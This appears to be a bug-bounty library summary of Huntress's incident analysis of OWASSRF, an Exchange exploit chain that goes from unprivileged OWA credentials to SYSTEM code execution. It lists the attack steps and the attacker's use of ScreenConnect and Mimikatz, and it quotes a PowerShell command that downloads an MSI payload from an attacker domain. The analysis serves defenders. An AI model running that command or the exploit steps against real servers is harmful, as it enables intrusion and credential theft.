# OWASSRF Explained | Huntress

OWASSRF chains an Exchange OWA SSRF (CVE-2022-41080) with PowerShell Remoting to run code as SYSTEM using only unprivileged OWA credentials.

- Payout: Real-world hack
- Severity: critical
- Program: Microsoft Exchange
- Analysis by: Huntress
- Disclosed: 2022-12-29
- CVE: CVE-2022-41080, CVE-2022-41082
- Write-up quality: 7/10
- Original: https://www.huntress.com/blog/owassrf-explained-analyzing-the-microsoft-exchange-rce-vulnerability
- Library page: https://bugbountylibrary.com/r/blog%3Ahuntress-com-blog-owassrf-explained-analyzing-the-microsoft-exchange-rce-vulnerability
- Tags: area:web domain:web impact:internal-access impact:rce kind:incident platform:threat-intel sev:critical tech:windows technique:chained technique:incomplete-fix vuln:deserialization vuln:rce vuln:ssrf

**Target:** Outlook Web Access /owa PowerShell Remoting endpoint
**Root cause:** An authenticated SSRF in OWA (CVE-2022-41080) lets a low-privileged user proxy WSMan/PowerShell Remoting connections to the Exchange server, bypassing the ProxyNotShell mitigation, and reach the deserialization RCE (CVE-2022-41082).
**Steps:**
1. Authenticate to OWA with any valid unprivileged user credentials.
2. Use pypsrp to talk to `/owa/mastermailbox%40outlook.com/powershell` over the authenticated HTTP session.
3. Set up a local proxy forwarding WSMan connections on localhost to the Exchange server.
4. Through the proxy, invoke PowerShell Remoting to execute arbitrary PowerShell as NT AUTHORITY\SYSTEM.
**How found:** Huntress observed a spike in malicious PowerShell spawning from w3wp.exe on unpatched Exchange hosts on Dec 22, reproduced with a leaked POC and Metasploit on a fresh AD/Exchange 2019 CU2 lab, and traced the OWA SSRF proxy path.
**Exploitation:** Attacker with unprivileged OWA creds proxies WSMan to the Exchange PowerShell endpoint, gaining SYSTEM code execution; post-exploit they used bitsadmin and base64 PowerShell to download and install rogue ScreenConnect instances (IDs b81d2f07c9163bf5, dc2f2d1c0840229c, 6db95d58cdf0a1a3) and deployed Mimikatz.
**Escalation:** Chained SSRF with PowerShell Remoting deserialization to escalate from unprivileged user to SYSTEM, then deployed ScreenConnect C2 and Mimikatz for persistence and credential theft.
**Insight:** ProxyNotShell mitigations blocked the direct endpoint but not the OWA-authenticated WSMan proxy path; test whether a patched/mitigated endpoint is still reachable through an authenticated server-side proxy that forwards to localhost services.

## Proof of concept (copied exactly from the original report)

**OWA PowerShell endpoint exploit request**

```
“/owa/[email protected]/powershell” with response code 200
IIS web server logs contain the referenced POST events with a 200 (Success) response code
```

**Base64 PowerShell download of MSI payload**

```
powershell -nop -c Invoke-Expression (New-Object Net.WebClient).DownloadFile.Invoke(‘https://autodiscover.hofduncan[.]org/owa/auth/Current/themes/6.css’ ‘c:\windows\temp\c.msi’)
```